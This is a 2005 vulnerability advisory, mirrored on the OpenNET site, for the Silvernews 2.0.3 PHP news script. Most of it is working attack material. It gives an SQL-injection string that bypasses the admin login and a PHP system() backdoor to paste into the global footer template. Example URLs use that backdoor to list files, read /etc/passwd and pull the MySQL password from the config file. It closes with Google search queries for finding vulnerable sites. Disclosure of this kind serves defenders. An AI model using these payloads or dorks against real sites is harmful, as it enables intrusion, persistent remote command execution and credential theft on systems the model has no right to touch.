The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


Silvernews 2.0.3 (possibly previous versions ) SQL Injection /


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: 3 Aug 2005 16:19:57 -0000
From: [email protected]
To: [email protected]
Subject: Silvernews 2.0.3 (possibly previous versions ) SQL Injection /
 Login Bypass / Remote commands execution / cross site scripting
X-Virus-Scanned: antivirus-gw at tyumen.ru

Silvernews 2.0.3 (possibly previous versions ) SQL Injection / Login Bypass / Remote commands execution / cross site scripting

software:
author site: http://www.silver-scripts.de/scripts.php?l=en&script=SilverNews

SQL Injection / Login bypass:

A user can bypass admin password check, if magic_quotes is set to off: 

user: ' or isnull(1/0) /*
pass: whatever


remote commands execution:

now, new admin can edit template, clicking on Templates -> Global footer, can
add the lines:

//***********************************************
</body>
</html>

TEMPLATE;
}
}
system($HTTP_GET_VARS[command]);

/*

to leave a backdoor in template file /templates/tpl_global.php
now can launch system commands on the target system with theese urls:

http://[target]/[path]//templates/tpl_global.php?command=ls%20-la

to list directories

http://[target]/[path]/templates/TPL_GLOBAL.PHP?command=cat%20/etc/passwd

to see /etc/passwd file

http://[target]/[path]/templates/TPL_GLOBAL.PHP?command=cat%20/[path_to_config_file]/data.inc.php

to see Mysql database password (look inside html...)


cross site scripting:

same way, a user can hide evil javascript code in template 


googledork: "Powered by SilverNews" 
or:         intitle:"SilverNews 2.0 Admin control panel" 


rgod
email: retrogod [at] aliceposta.it
site: http://rgod.altervista.org


original advisory: http://www.rgod.altervista.org/silvernews.html


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2025 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру